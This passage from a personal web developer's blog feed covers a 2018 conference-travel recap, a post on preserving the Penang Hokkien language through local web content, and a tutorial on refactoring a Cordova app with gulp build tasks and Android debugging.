&lt;p&gt;Another favourite was &lt;em&gt;Because Robots are People Too&lt;/em&gt; by &lt;a href=&quot;https://twitter.com/_abhilashmurthy&quot;&gt;Abhilash Murthy&lt;/a&gt; who created &lt;a href=&quot;https://www.busuncle.sg/&quot;&gt;Bus Uncle&lt;/a&gt;, Singapore&apos;s most well-loved chatbot which tells users bus timings. In fluent Singlish. Again, local flavour is best captured by locals. It&apos;s no surprise my 2 favourite talks revolve around application of technology in the 2 countries I grew up in and call home.&lt;/p&gt;
&lt;p&gt;I&apos;m a huge believer that context is everything. It&apos;s great to take ideas, advice and innovation from other places that have achieved certain levels of success and results, but apply all that knowledge to solve problems that are most relevant to our local contexts.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt; Wrap up (finally)&lt;/h2&gt;
&lt;p&gt;When I ended 2017, I didn&apos;t think 2018 could top it. But now, as we&apos;re nearing the end of the year, I&apos;m reconsidering that thought. This was the most amount of travel I&apos;ve ever done in my life, for 17 events across 13 countries, to talk about CSS. And represent Southeast Asia on the conference circuit.&lt;/p&gt;
&lt;p&gt;Along the way, I also made a minor directional career shift, from Developer to Developer Advocate (we&apos;ll see how that turns out, stay tuned), and accrued enough miles to (hopefully) get my older sister a cheap ticket for next year&apos;s holiday &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue&quot;&gt;😛&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Thanks to the various event organisers who thought I had something to contribute, and brought me to their events despite how far away I was from them, I managed to tick off a number of people on my “must-meet-in-person-before-I-die” list.&lt;/p&gt;
&lt;p&gt;All this, from CSS.&lt;/p&gt;
&lt;p&gt;What an incredible privilege &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Bonus round: &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Indonesia&quot;&gt;🇮🇩&lt;/span&gt; @ MozKopdar JKT Dec 2018&lt;/h2&gt;
&lt;p&gt;I thought I was done for the year, but I took an impromptu trip down to Jakarta for MozKopdar JKT&apos;s last meetup of the year at the Mozilla Community Space in Jakarta with my friends (and fellow DevRel teammates), &lt;a href=&quot;https://twitter.com/lakatos88&quot;&gt;Alex Lakatos&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/iza_biro&quot;&gt;Julia Biros&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Mozkopdar at the Mozilla Community Space in Jakarta&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/mozkopdar-480.jpg 480w, /images/posts/talking-css-2018/mozkopdar-640.jpg 640w, /images/posts/talking-css-2018/mozkopdar-960.jpg 960w, /images/posts/talking-css-2018/mozkopdar-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/mozkopdar-640.jpg&quot; alt=&quot;Last Mozkopdar of 2018&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Alex and I were both &lt;a href=&quot;https://events.mozilla.org/techspeakers&quot;&gt;Mozilla Techspeakers&lt;/a&gt; and since Alex and Julia were in Southeast Asia for vacation, they asked if I wanted to come along and give a talk as well. I&apos;d never spoken in Indonesia before and thought it&apos;d be a great opportunity to meet some of the Indonesian developer community so impromptu trip it was!&lt;/p&gt;
&lt;p&gt;Jakarta is about 2 hours away from Singapore so it wasn&apos;t that much travel. Also, the new train service from the city to the airport made things much more hassle-free than before. There&apos;s also &lt;a href=&quot;https://www.gojek.io/&quot;&gt;Go-Jek&lt;/a&gt; now, which is great for commuting within the city.&lt;/p&gt;
&lt;p&gt;For people who are unfamiliar with Southeast Asia (sans Singapore), 100–125cc motorcycles are a very common mode of transportation. And for dense cities like Jakarta, where cars get stuck in traffic for hours, motorcycles can often get you to your destination much faster.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;That shelf is my favourite&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/mozkopdar2-480.jpg 480w, /images/posts/talking-css-2018/mozkopdar2-640.jpg 640w, /images/posts/talking-css-2018/mozkopdar2-960.jpg 960w, /images/posts/talking-css-2018/mozkopdar2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/mozkopdar2-640.jpg&quot; alt=&quot;The shelf of fox plushies&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The Mozilla Community Space in Jakarta was so lovely! It was cosy and filled with personal touches, from stickers near the doors and light switches, to a shelf full of fox plushies and hand-painted walls depicting the various Community Spaces around the world.&lt;/p&gt;
&lt;p&gt;I went first, with a talk on (what else?) layout, specifically Flexbox and Grid, but this time instead of slides, I went with using DevTools to demonstrate and explain the different concepts that these new properties introduced. And it turned out rather well, which means this might get polished up into a new conference talk for next year? Maybe?&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;If only I could bring them home with me&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/talking-css-2018/mozkopdar3.jpg&quot; srcset=&quot;/images/posts/talking-css-2018/mozkopdar3@2x.jpg 2x&quot; alt=&quot;Holding onto 2 fox plushies&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Then Alex delivered his mind-blowing talk showcasing all the things DevTools can do but somehow I didn&apos;t know existed. JavaScript debugging on Firefox has improved leaps and bounds over the past couple of years and I highly encourage everyone to give it a try. You might be pleasantly surprised.&lt;/p&gt;
&lt;p&gt;Anyhow, it was a really short trip for me, as I only stayed a night, but I&apos;m definitely looking forward to coming back again. And now I&apos;m REALLY done with travel for speaking this year &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Preserving mother tongues</title><link>https://chenhuijing.com/blog/preserving-mother-tongues/</link><guid isPermaLink="true">https://chenhuijing.com/blog/preserving-mother-tongues/</guid><description>Over this past weekend, I flew back to my hometown of Penang to conduct an Introduction to Web Development workshop with TechLadies, a community initiative…</description><pubDate>Wed, 04 Jul 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over this past weekend, I flew back to my hometown of Penang to conduct an &lt;em&gt;Introduction to Web Development&lt;/em&gt; workshop with &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies&lt;/a&gt;, a community initiative founded by &lt;a href=&quot;https://sg.linkedin.com/in/elishatan/&quot;&gt;Elisha Tan&lt;/a&gt; for women in Asia to connect, learn, and advance as programmers in the tech industry. Although I was born in Penang, my family moved down south to Johor when I was 4, so technically I didn&apos;t grow up in Penang.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Team TechLadies in Penang, more attendees than we expected&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/tl-pen/tl-pen-480.jpg 480w, /images/posts/tl-pen/tl-pen-640.jpg 640w, /images/posts/tl-pen/tl-pen-960.jpg 960w, /images/posts/tl-pen/tl-pen-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/tl-pen/tl-pen-640.jpg&quot; alt=&quot;TechLadies in Penang!&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;However, my family identifies very strongly as Penangites. My parents had lived there their whole lives prior to the move, and so did my grandmother (who lived with us too). My older siblings obviously had clearer memories of growing up in Penang, while I had hazy memories of our old house at Balik Pulau.&lt;/p&gt;
&lt;p&gt;We spoke almost exclusively Penang Hokkien in our household. For the benefit of non-Chinese readers, Hokkien is a Chinese dialect that originated from the Minnan region, which is located in the south-eastern part of the Fujian province in China. &lt;a href=&quot;http://www.timothytye.com/&quot;&gt;Timothy Tye&lt;/a&gt; has written a comprehensive article on &lt;a href=&quot;http://www.penang-traveltips.com/arrivals-of-the-chinese-in-the-malay-peninsula.htm&quot;&gt;Chinese immigration to Penang&lt;/a&gt;, as well as his theories on the &lt;a href=&quot;http://www.penang-traveltips.com/where-does-penang-hokkien-come-from.htm&quot;&gt;origins of Penang Hokkien&lt;/a&gt;, which are both worthy reads.&lt;/p&gt;
&lt;p&gt;Anyway, in spite of the fact we were physically not in Penang, home and being with my family meant Penang, for as long I can remember. I often joke with my friends that I can remember my mum teaching me to read in English and my grandma teaching me to write Chinese, but I came out of the womb speaking Penang Hokkien.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Le Fam&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/tl-pen/family.jpg&quot; srcset=&quot;/images/posts/tl-pen/family@2x.jpg 2x&quot; alt=&quot;The Chen family&quot;/&gt;
&lt;/figure&gt;
&lt;p&gt;Given both my parents were teachers, some people (and school teachers) have expressed surprise when they discover our language of choice at home was Penang Hokkien. It did not seem to have hindered our ability to be fluent in other languages, apparently.&lt;/p&gt;
&lt;h2&gt;Feelings I didn&apos;t know I had&lt;/h2&gt;
&lt;p&gt;I never gave languages a second thought when I was younger. Words, regardless of language, were just a way for me to express what I thought and felt. Kids being kids, I just spoke whatever language was the predominant one at that point in time. Nobody cared about English, Chinese or Malay when we were being chased by the “catcher”.&lt;/p&gt;
&lt;p&gt;Although, I did notice that the Hokkien I spoke was quite different from the Hokkien spoken in Johor and Singapore. We pronounced words differently, and used different words altogether sometimes. The intonations were also quite distinct, and I would just say, well in Penang, our Hokkien is different.&lt;/p&gt;
&lt;p&gt;A few years ago, I discovered the &lt;a href=&quot;http://penanghokkien.com/&quot;&gt;Penang Hokkien Podcast&lt;/a&gt; and when I first heard it, it was a surprisingly emotional experience. People who grew up their whole lives in a community that spoke the same mother tongue as themselves would probably find this hard to relate to, but it really was something else to hear my mother tongue streaming out of the speakers of my computer.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Support the PGHK podcast&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/tl-pen/pghk-480.jpg 480w, /images/posts/tl-pen/pghk-640.jpg 640w, /images/posts/tl-pen/pghk-960.jpg 960w, /images/posts/tl-pen/pghk-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/tl-pen/pghk-640.jpg&quot; alt=&quot;Penang Hokkien podcast&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I never realised this before, but I guess on a subconscious level, I always associated Penang Hokkien with home. Because I only heard it when I stepped into my house, when I spoke to a family member, when I returned to Penang. It&apos;s hard to put into words but to hear more than an hour&apos;s worth of Penang Hokkien from a podcast, it was all the feelz.&lt;/p&gt;
&lt;h2&gt;Languages are going extinct&lt;/h2&gt;
&lt;p&gt;Languages have always been an area of interest for me. Languages, writing systems, typography. To me these are methods that humans developed to convey ideas amongst ourselves, and the fact we have &lt;a href=&quot;https://www.ethnologue.com/guides/how-many-languages&quot;&gt;more than 7000 languages&lt;/a&gt; still being spoken today is a testament to the diversity of human history and culture.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Endangered languages around the world, via &lt;a href=&quot;http://www.endangeredlanguages.com/&quot;&gt;The Endangered Languages Project&lt;/a&gt;&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/tl-pen/endangered-480.jpg 480w, /images/posts/tl-pen/endangered-640.jpg 640w, /images/posts/tl-pen/endangered-960.jpg 960w, /images/posts/tl-pen/endangered-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/tl-pen/endangered-640.jpg&quot; alt=&quot;Map of endangered languages around the world&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;When I was in school, I only had a handful of friends who spoke dialect at home. Kids from my generation who grew up in Singapore were the outcome of the campaigns launched by the government back in the 60s and 70s, to eschew dialects in favour of more “practical” languages like English and Chinese. Many of my friends only heard dialects being spoken when they visited their grandparents, barely enough exposure to become fluent.&lt;/p&gt;
&lt;p&gt;And now that my friends have kids of their own, this new generation has even less chances of being exposed to their dialects. In fact, English has become so dominant in Singapore that fluency in mother tongues like Chinese and Malay has deteriorated among the younger generation. Personally, I find this tragic.&lt;/p&gt;
&lt;p&gt;In the past couple of years, I&apos;ve read numerous articles about how Penang Hokkien &lt;a href=&quot;https://www.malaymail.com/s/1174401/penang-hokkien-will-be-dead-in-40-years-if-people-stop-using-it-says-langua&quot;&gt;may be slowly dying out&lt;/a&gt;, and it&apos;s alarming to me. Alarming because something I associate so strongly with the idea of home, and of belonging, is gradually fading away.&lt;/p&gt;
&lt;p&gt;Which is the reason why I created a website called &lt;a href=&quot;http://penang-hokkien.gitlab.io/&quot;&gt;Penang Hokkien 槟城福建话&lt;/a&gt;. I found that there are certain words or phrases that are only used by people who speak Penang Hokkien. In addition to recording these words and their usage in daily speech, I also wanted, wherever I could, add some anecdotes about the etymology of such words and phrases.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Penang Hokkien stories&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/tl-pen/penhk-480.jpg 480w, /images/posts/tl-pen/penhk-640.jpg 640w, /images/posts/tl-pen/penhk-960.jpg 960w, /images/posts/tl-pen/penhk-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/tl-pen/penhk-640.jpg&quot; alt=&quot;Penang Hokkien website&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;All technical details about the site can be found &lt;a href=&quot;/blog/the-one-about-home/&quot;&gt;in an earlier post&lt;/a&gt;, where I explain all the fun stuff I got to use to build the site, as well as the challenges with &lt;a href=&quot;/blog/vertical-typesetting-revisited/&quot;&gt;implementing a writing-mode switcher&lt;/a&gt; in addition to being bi-lingual.&lt;/p&gt;
&lt;h2&gt;Encourage creation of local content&lt;/h2&gt;
&lt;p&gt;Language &lt;a href=&quot;https://www.psychologytoday.com/intl/blog/the-biolinguistic-turn/201702/how-the-language-we-speak-affects-the-way-we-think&quot;&gt;can and does affect the way&lt;/a&gt; we perceive the world around us, and how we think about problems. I can understand the practical aspects of there being a “universal” language to facilitate global communication, but not at the expense of losing a large variety of perspectives.&lt;/p&gt;
&lt;div style=&quot;max-width:640px;margin:0 auto 1em&quot;&gt;&lt;div style=&quot;position:relative;height:0;padding-bottom:56.25%&quot;&gt;&lt;iframe src=&quot;https://embed.ted.com/talks/lang/en/lera_boroditsky_how_language_shapes_the_way_we_think&quot; width=&quot;854&quot; height=&quot;480&quot; style=&quot;position:absolute;left:0;top:0;width:100%;height:100%&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://w3techs.com/technologies/overview/content_language/all&quot;&gt;More than 50% of websites&lt;/a&gt; on the web are in English, while only 5% of the &lt;a href=&quot;http://www.worldometers.info/world-population/&quot;&gt;world&apos;s population&lt;/a&gt; are &lt;a href=&quot;https://www.ethnologue.com/statistics/size&quot;&gt;native English speakers&lt;/a&gt;. To me, there&apos;s something not quite right about this ratio. Yes, the computing age started out from English-speaking regions and took off from there, but as more and more of our communications move onto the digital realm, it is important that we preserve language diversity.&lt;/p&gt;
&lt;p&gt;Languages are representative of human heritage, and convey unique cultures. If you speak more than one language, then you can probably understand that there are certain concepts that simply get lost in translation as you switch from one language to another.&lt;/p&gt;
&lt;p&gt;Studies done by the Internet Society have shown that while cost of access is a barrier to getting people online, many non-Internet users claim that the Internet is simply not relevant or of interest to them. If the Internet is meant to enhance the free flow of information and ideas across the world, then creation of content on the web should not largely be limited to English-speaking communities.&lt;/p&gt;
&lt;p&gt;I have been privileged to have the opportunity to speak at conferences all around the world over the past 2 years about East Asian typography and web layouts. Because most of the audiences I speak to are not native English speakers, I make it a point to encourage the creation of local content. To show how web technologies have improved and are still improving in order &lt;strong&gt;to allow every writing system in the world to be correctly rendered on the web&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Will the ratio of content on the web match that of the physical world? I have no idea. But I believe that if we don&apos;t do anything about it now, then this gap will just continue to grow. I&apos;m aware I don&apos;t have a huge following, nor am I much of an influencer, however, if I can get 1 more person to create content in their local language, that&apos;s 1 more than if I didn&apos;t try.&lt;/p&gt;
&lt;p&gt;For a better web, I say. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp;amp; closed eyes&quot;&gt;💪&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Learning Cordova while rewriting an app</title><link>https://chenhuijing.com/blog/learning-cordova-while-refactoring-legacy-code/</link><guid isPermaLink="true">https://chenhuijing.com/blog/learning-cordova-while-refactoring-legacy-code/</guid><description>This is a “refactoring legacy code” post, and I suspect you&apos;ll see more of these in the months to come because I&apos;ve decided to do a bit of adulting by taking…</description><pubDate>Tue, 13 Mar 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a “refactoring legacy code” post, and I suspect you&apos;ll see more of these in the months to come because I&apos;ve decided to do a bit of adulting by taking on some gainful employment. A major part of the role involves janitorial duties for the existing front-end code base.&lt;/p&gt;
&lt;p&gt;I say &lt;em&gt;janitorial&lt;/em&gt; with a lot of love. There are, in my opinion, two kinds of developers around, those who love creating cool stuff that sort of works and ship new apps like people change underwear. And then there are those who come in after the crowds have gone home, and the lights have been turned off, and refactor that code into something solid, write documentation and basically sweep up after the party.&lt;/p&gt;
&lt;p&gt;I&apos;m the second kind of developer. Look, who doesn&apos;t like playing with the new stuff? Most of us probably do. Maybe. But I find genuine comfort in refactoring and clean up work. Because I&apos;m a weird person. Keep that in mind if you ever meet me in person.&lt;/p&gt;
&lt;h2&gt;Hey, so we have this demo...&lt;/h2&gt;
&lt;p&gt;My current company is in the business of fraud detection systems, namely, payments fraud. There are several areas in which we can offer services through our products and one of them is customer on-boarding for banks and financial institutions.&lt;/p&gt;
&lt;p&gt;Anyway, long story short, there was a pretty interesting concept the business team had developed and someone on the tech team had built out a proof-of-concept demo showcasing said concept.&lt;/p&gt;
&lt;p&gt;It was a two-parter, meaning the setup involved an app running off a tablet, and an online dashboard. The demo was used by our sales team from time to time when engaging potential clients and to be honest, when I first saw it, I was kind of impressed as well. Because the concept made sense, and having the demo illustrate the flow made the explanation all the more compelling.&lt;/p&gt;
&lt;p&gt;But, being the &lt;em&gt;mildly&lt;/em&gt; OCD person I was, some things just jumped out at me, like, I don&apos;t know, the page title of the web page being “Free Bootstrap Admin Template: Dream”. To provide some background of this situation I&apos;m in, the team never really had a front-end developer before. As far as I know, the team had been focused on building out the back-end functionality of the company&apos;s core products.&lt;/p&gt;
&lt;p&gt;I was not the least bit surprised that everything was built with Bootstrap. But that&apos;s why I have a job now, right? Also, between the time the demo was built till now, the company went through a corporate re-branding exercise, so we had different corporate colours now. It was as good a time as any to refresh the demo.&lt;/p&gt;
&lt;h2&gt;Native app? But I&apos;m so foreign...&lt;/h2&gt;
&lt;p&gt;Sorry, that was a terrible attempt at a joke. But truth be told, I&apos;ve NEVER built a native app in my life. Upon further examination of the codebase though, I realised that this wasn&apos;t really a native app to begin with, it was built with &lt;a href=&quot;https://cordova.apache.org/&quot;&gt;Cordova&lt;/a&gt;. This I could work with.&lt;/p&gt;
&lt;p&gt;The amount of time I spent troubleshooting my local environment for Cordova development was ridiculous. I ended up with &lt;a href=&quot;https://developer.android.com/studio/index.html&quot;&gt;Android Studio&lt;/a&gt; installed (although I don&apos;t actually use it for anything), but ran everything with the &lt;a href=&quot;https://cordova.apache.org/docs/en/latest/guide/cli/#installing-the-cordova-cli&quot;&gt;Cordova CLI&lt;/a&gt; from my terminal.&lt;/p&gt;
&lt;p&gt;It also took me 2 days before I realised that rather than trying to fix all the version compatibility issues between the different tools, it was easier to just trace the versions of the tools the original developer used and use those instead. Based on the commit dates in the repository, I downgraded to &lt;a href=&quot;https://cordova.apache.org/news/2017/01/23/tools-release.html&quot;&gt;Cordova 6.5.0&lt;/a&gt; and everything magically worked. I also installed &lt;a href=&quot;https://gradle.org/&quot;&gt;Gradle&lt;/a&gt; via &lt;a href=&quot;https://brew.sh/&quot;&gt;Homebrew&lt;/a&gt; because the Android Studio version just wouldn&apos;t take.&lt;/p&gt;
&lt;p&gt;Another thing about this legacy demo was that the repository had no &lt;code&gt;.gitignore&lt;/code&gt; file. So all the build artefacts happened to end up in the repository as well. As I was so terribly stuck during the two days of setting up, I read through the Cordova documentation and came across this section on &lt;a href=&quot;https://cordova.apache.org/docs/en/latest/reference/cordova-cli/#version-control&quot;&gt;version control&lt;/a&gt;, which stated:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is recommended not to check in &lt;code&gt;platforms/&lt;/code&gt; and &lt;code&gt;plugins/&lt;/code&gt; directories into version control as they are considered a build artifact. Your platforms and plugins will be saved in &lt;code&gt;config.xml&lt;/code&gt; &amp;amp; &lt;code&gt;package.json&lt;/code&gt; automatically. These platforms/plugins will be downloaded when on the machine when &lt;code&gt;cordova prepare&lt;/code&gt; is invoked.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&apos;ve had the unfortunate experience of &lt;a href=&quot;/blog/the-epic-git-bomb/&quot;&gt;bombing up a Git repository&lt;/a&gt; rather early on in my career, and since then, I&apos;ve always made sure my repositories have properly set up &lt;code&gt;.gitignore&lt;/code&gt; files. Because, cleaning up a bombed repository is not fun at all. My &lt;code&gt;.gitignore&lt;/code&gt; file ended up looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Mac
.DS_Store
.AppleDouble
.LSOverride
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent
.AppleDB
.AppleDesktop
.apdisk
.idea

# Windows
ehthumbs.db
ehthumbs_vista.db
*.stackdump
[Dd]esktop.ini
$RECYCLE.BIN/
*.lnk

# Build artifacts
capture_plus/platforms
capture_plus/plugins
node_modules

# IDE files
android.iml
CordovaLib.iml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also started up a new repository because there was too much history in the original repository for my liking. I guess that&apos;s like a cop out, but I was on a time crunch here, my friends. Life isn&apos;t perfect and I don&apos;t make perfect decisions.&lt;/p&gt;
&lt;h2&gt;What is this Cordova?&lt;/h2&gt;
&lt;p&gt;According to the &lt;a href=&quot;https://cordova.apache.org/docs/en/latest/guide/overview/index.html&quot;&gt;documentation&lt;/a&gt;, Apache Cordova is an open-source mobile development framework which allows us to use standard web technologies–HTML, CSS and JavaScript–for cross platform development.&lt;/p&gt;
&lt;p&gt;This made it possible for me to treat the project like a typical web application, and set up my regular gulp workflow for Sass compilation, Babel transpiling and Nunjucks as the templating language.&lt;/p&gt;
&lt;p&gt;My project folder structure ended up looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PROJECT_NAME/
|-- .git/
|-- .gitignore
`-- APP_FOLDER/
    |-- config.xml
    |-- hooks/
    |-- platforms/
    |-- res/
    `-- www/
|-- gulpfile.js
|-- node_modules/
|-- package.json
|-- README.md
`-- src/
    |-- js/
    |-- pages/
    |-- scss/
    `-- templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;APP_FOLDER&lt;/code&gt; was where all the Cordova-related commands would be run from, and only contained files that were relevant for the app. My source code was all placed in &lt;code&gt;src&lt;/code&gt; and gulp would process them into the &lt;code&gt;www&lt;/code&gt; folder. Most of our projects are built in Python, so &lt;a href=&quot;http://flask.pocoo.org/&quot;&gt;Flask&lt;/a&gt; was a commonly used framework for developing the web-based UI portion.&lt;/p&gt;
&lt;p&gt;Flask uses &lt;a href=&quot;http://jinja.pocoo.org/docs/2.10/&quot;&gt;Jinja2&lt;/a&gt; as its templating language and &lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; uses a very similar syntax, because it was based off Jinja2 to begin with. A templating language really streamlines the development workflow because of features like the ability to use includes and macros, template inheritance, use of iterators etc.&lt;/p&gt;
&lt;h2&gt;Gulpify-ing Cordova development&lt;/h2&gt;
&lt;p&gt;As mentioned, my workflow involved three major tasks, compiling Sass into CSS, transpiling ES6 with Babel, and compiling Nunjucks templates into HTML. Based on the folder structure as outlined above, here are each of the three tasks&apos; gulp functions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;sass&amp;quot;, function () {
  return gulp
    .src(&amp;quot;src/scss/styles.scss&amp;quot;)
    .pipe(
      sass({
        includePaths: [&amp;quot;scss&amp;quot;],
        onError: browserSync.notify,
      })
    )
    .pipe(prefix([&amp;quot;last 3 versions&amp;quot;, &amp;quot;&amp;gt; 3%&amp;quot;], { cascade: true }))
    .pipe(gulp.dest(&amp;quot;capture_plus/www/css&amp;quot;))
    .pipe(browserSync.reload({ stream: true }));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;scripts&amp;quot;, function () {
  return gulp
    .src([&amp;quot;src/js/*.js&amp;quot;])
    .pipe(
      babel({
        presets: [&amp;quot;env&amp;quot;],
      })
    )
    .pipe(gulp.dest(&amp;quot;capture_plus/www/js&amp;quot;))
    .pipe(browserSync.reload({ stream: true }));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;nunjucks&amp;quot;, function () {
  return gulp
    .src(&amp;quot;src/pages/**/*.+(njk)&amp;quot;)
    .pipe(
      render({
        path: [&amp;quot;src/templates&amp;quot;],
      })
    )
    .pipe(gulp.dest(&amp;quot;capture_plus/www&amp;quot;))
    .pipe(browserSync.reload({ stream: true }));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A critical part of my workflow is the use of &lt;a href=&quot;https://browsersync.io/&quot;&gt;Browsersync&lt;/a&gt;. So that made it in the &lt;code&gt;gulpfile.js&lt;/code&gt; as well:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;gulp.task(&amp;quot;browser-sync&amp;quot;, [&amp;quot;nunjucks&amp;quot;, &amp;quot;sass&amp;quot;, &amp;quot;scripts&amp;quot;], function () {
  browserSync.init({
    server: &amp;quot;APP_NAME/www&amp;quot;,
    port: 6001 /* Pick your favourite port number */,
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Debugging on a device&lt;/h2&gt;
&lt;p&gt;As this demo was going to be deployed onto our company tablets, which were all Samsung Galaxy S2s, I only focused on the Android portion of things. If we ever demo on an iOS device, I&apos;ll let you know. What I liked about the Android tablets is that once you connect it to your computer via USB, you can inspect stuff just like on a desktop browser when using Chrome.&lt;/p&gt;
&lt;p&gt;To do that you&apos;ll have to turn on Developer Mode, which involves finding the &lt;em&gt;Build number&lt;/em&gt; of your device, usually under the &lt;em&gt;About device&lt;/em&gt; section in &lt;em&gt;Settings&lt;/em&gt;. Tapping on the &lt;em&gt;Build number&lt;/em&gt; seven times will unlock &lt;em&gt;Developer mode&lt;/em&gt;. You&apos;ll know you&apos;re on the right track because a notification will pop up after a couple of taps saying “You are now X steps away from being a developer.”.&lt;/p&gt;
&lt;p&gt;Once that happens, there will be a new section called &lt;em&gt;Developer options&lt;/em&gt;, where you can turn on USB debugging. This is what allows us access to the Chrome Webview debugging tool by entering &lt;code&gt;chrome://inspect&lt;/code&gt; in the address bar.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Chrome can tell if you&apos;ve connected to an Android device&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/cordova/webview-debug-480.jpg 480w, /images/posts/cordova/webview-debug-640.jpg 640w, /images/posts/cordova/webview-debug-960.jpg 960w, /images/posts/cordova/webview-debug-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cordova/webview-debug-640.jpg&quot; alt=&quot;Chrome webview debugging tool&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;To test and debug your Cordova app on the Android device, you&apos;ll need to use this command, the &lt;code&gt;-debug&lt;/code&gt; flag is important here:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cordova run android -debug --device
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Inspect your app like you would a website&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/cordova/debug-cordova-480.jpg 480w, /images/posts/cordova/debug-cordova-640.jpg 640w, /images/posts/cordova/debug-cordova-960.jpg 960w, /images/posts/cordova/debug-cordova-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/cordova/debug-cordova-640.jpg&quot; alt=&quot;Developer tools for your app&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The only minor issue is that every time you make a change to your code, you&apos;ll have to redeploy to the device to test it. But for this app I was building, the only time I had to do this in quick succession was when I was working with the device APIs. The rest of the time I just worked off my computer, since Browysersync was serving up the files as per a normal website.&lt;/p&gt;
&lt;h2&gt;Accessing device APIs with Cordova plugins&lt;/h2&gt;
